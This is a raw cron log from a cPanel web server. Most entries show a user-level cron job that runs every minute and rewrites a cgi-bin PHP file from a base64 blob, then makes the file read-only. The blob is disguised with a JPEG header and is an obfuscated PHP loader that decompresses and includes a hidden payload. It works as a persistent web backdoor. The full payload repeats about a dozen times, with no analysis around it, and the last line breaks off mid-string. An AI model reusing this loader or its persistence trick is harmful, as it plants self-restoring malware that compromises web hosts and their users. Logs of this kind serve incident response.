Nov 12 07:58:01 server CROND[9650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:59:01 server CROND[10566]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:00:01 server CROND[11452]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:00:01 server CROND[11459]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Nov 12 08:00:01 server CROND[11462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:00:01 server CROND[11460]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 08:00:01 server CROND[11461]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 08:00:01 server CROND[11464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:01:01 server CROND[12344]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 08:01:01 server CROND[12345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:01:01 server run-parts(/etc/cron.hourly)[12344]: starting 0anacron
Nov 12 08:01:01 server run-parts(/etc/cron.hourly)[12357]: finished 0anacron
Nov 12 08:02:01 server CROND[13166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:03:01 server CROND[13980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:04:01 server CROND[14903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:05:01 server CROND[15729]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 08:05:01 server CROND[15728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:05:01 server CROND[15732]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:05:01 server CROND[15733]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 12 08:05:01 server CROND[15742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:06:01 server CROND[16163]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:07:01 server CROND[16844]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:08:01 server CROND[17680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:09:01 server CROND[18332]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 08:09:01 server CROND[18333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:10:01 server CROND[19075]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:10:01 server CROND[19077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:10:01 server CROND[19078]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 08:10:01 server CROND[19079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aI